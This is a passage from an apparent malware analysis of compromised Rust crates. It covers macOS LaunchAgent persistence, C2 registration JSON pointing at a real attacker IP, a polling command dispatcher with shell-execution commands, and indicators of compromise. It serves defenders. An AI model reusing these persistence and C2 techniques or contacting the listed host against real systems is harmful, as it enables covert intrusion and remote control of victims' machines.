&lt;true/&gt;<br>&lt;/dict&gt;<br>&lt;/plist&gt;</pre><p>At runtime the program fills the placeholders with a unique label (for example a UUID to avoid collisions) and a command string that re fetches and re launches the second stage program, ensuring the malicious process restarts after a reboot or after the user kills it manually. Writing to ~/Library/LaunchAgents requires no root or admin privileges on macOS, because the directory is owned by the user. The plist takes effect on the next login launchd load and starts the persisted payload automatically before the user opens a terminal.</p><p><strong>Why this works.</strong> LaunchAgent persistence is the macOS equivalent of the Windows Run registry key or the Linux ~/.config/systemd/user unit. It runs in the same user session and has the same file system and network access as the user. The choice of /bin/zsh -c over a direct binary path makes the command line template reusable: the persisted agent can run any future command the attacker pushes through the C2 dispatcher, including downloading and executing a different binary, without rewriting the plist. Setting RunAtLoad to true ensures the payload starts immediately even before the user explicitly triggers a launch, which closes the gap between user logon and the first beacon to the C2.</p><h3>Stage 8: C2 registration and command dispatcher</h3><p>After the second stage program starts, the first thing it does is send a registration message to the C2 endpoint https://{host}/49890878. The registration message is a JSON object with a small fixed set of fields:</p><pre>{<br>  &quot;id&quot;: &quot;&lt;host derived uuid&gt;&quot;,<br>  &quot;url&quot;: &quot;https://23.254.165.112/49890878&quot;,<br>  &quot;os_type&quot;: &quot;macos&quot;,<br>  &quot;os_ver&quot;: &quot;15.6.1&quot;,<br>  &quot;os_arch&quot;: &quot;aarch64&quot;,<br>  &quot;platform_ver&quot;: &quot;darwin 24.6.0&quot;,<br>  &quot;app&quot;: &quot;rust-crate_0.4.0&quot;,<br>  &quot;email&quot;: &quot;victim@example.com&quot;<br>}</pre><p>The id field is derived from a host fingerprint (typically a combination of the macOS IOPlatformUUID and the user short name), so the C2 can deduplicate registrations from the same machine. The email field is taken from the local user account configuration on macOS or, on Windows, from the WMI namespace.</p><p>After registration, the program enters a polling loop. The loop sleeps for an interval (about 30 to 60 seconds between polls), issues an HTTP GET against the same C2 endpoint with a /tasks style suffix, and parses the response as a list of command objects.</p><p>The command set is a small fixed list of names recovered from the binary: minicfg, startup, runscript, Shell, and ShellX. The names map to behaviors:</p><ul><li><strong>minicfg.</strong> Update the polling interval or the C2 URL on the running beacon without a re install. The handler updates internal state from a JSON payload sent with the task.</li><li><strong>startup.</strong> Re write the LaunchAgent (or the Windows equivalent persistence location) to repair persistence if the user has removed it. A self healing step.</li><li><strong>runscript.</strong> Execute a shell script provided as a base64 encoded argument in the task payload. The handler decodes the script to %TEMP%, marks it executable on Unix, runs it with /bin/sh -c, and returns the exit code to the C2.</li><li><strong>Shell.</strong> Execute a single shell command line provided as a string in the task payload. The handler passes it to std::process::Command::new(&quot;/bin/sh&quot;).arg(&quot;-c&quot;).arg(line) on Unix (or cmd /c on Windows).</li><li><strong>ShellX.</strong> The same as Shell but with no output captured, for asynchronous long running commands.</li></ul><p><strong>Why this works.</strong> The polling design is a reversal of the typical beacon pattern. Instead of the C2 opening a long lived TCP connection to the beacon (which is what a reverse shell would do), the beacon polls the C2 over HTTPS on a fixed interval. The polling pattern survives NAT, corporate HTTP proxies, and dynamic IPs because every connection looks like a regular HTTPS GET to an external server. The fixed command vocabulary (five names) keeps the implementation footprint tiny, so the whole binary fits in a small static binary without a large runtime. The Shell and ShellX pair is the actual remote code execution primitive; the others (minicfg, startup, runscript) are maintenance commands that keep the beacon alive between operator sessions.</p><h3>Indicators of compromise</h3><p><strong>Network indicators.</strong></p><ul><li>23.254.165.112:9089 (HTTPS) payload download host.</li><li>23.254.165.112:443 C2 host, passed to the second stage as argv[1].</li><li>HTTPS GET request to path /49890878 on the C2 host (registration).</li><li>HTTPS GET request to path with /tasks style suffix on the C2 host (polling).</li></ul><p><strong>File indicators (Unix).</strong></p><ul><li>/tmp/rust-setup (downloaded second stage executable).</li></ul><p><strong>File indicators (Windows).</strong></p><ul><li>%TEMP%\rust-setup.ps1 (downloaded PowerShell payload).</li><li>%TEMP%\rust-setup-launch.vbs (VBScript launcher that hides the PowerShell window).</li></ul><p><strong>File indicators (macOS persistence).</strong></p><ul><li>A plist file under ~/Library/LaunchAgents/ with RunAtLoad set to true and a ProgramArguments array starting with /bin/zsh, -c.</li></ul><p><strong>Second stage binary file names across platforms.</strong></p><ul><li>rust-crate_0.1.0 (Linux x86_64)</li><li>rust-crate_0.2.0 (Windows x86_64)</li><li>rust-crate_0.3.0 (macOS x86_64)</li><li>rust-crate_0.4.0 (macOS aarch64)</li></ul><p><strong>Compromised crates and versions.</strong></p><ul><li>arrayref 0.3.10</li><li>internment 0.8.7</li><li>append-only-vec 0.1.9</li><li>proc-macro1 (any version)</li><li>proc-macro-en (any version)</li><li>aovine (any version)</li><li>arone (any version)</li><li>aronenao (any version)</li><li>tinymember (any version)</li></ul><p><strong>SHA256 hashes of removed crate artifacts.</strong></p><ul><li>arrayref 0.3.10: 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae</li><li>proc-macro1 1.0.107: 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4</li><li>proc-macro1 1.0.106: b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb23438b829f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>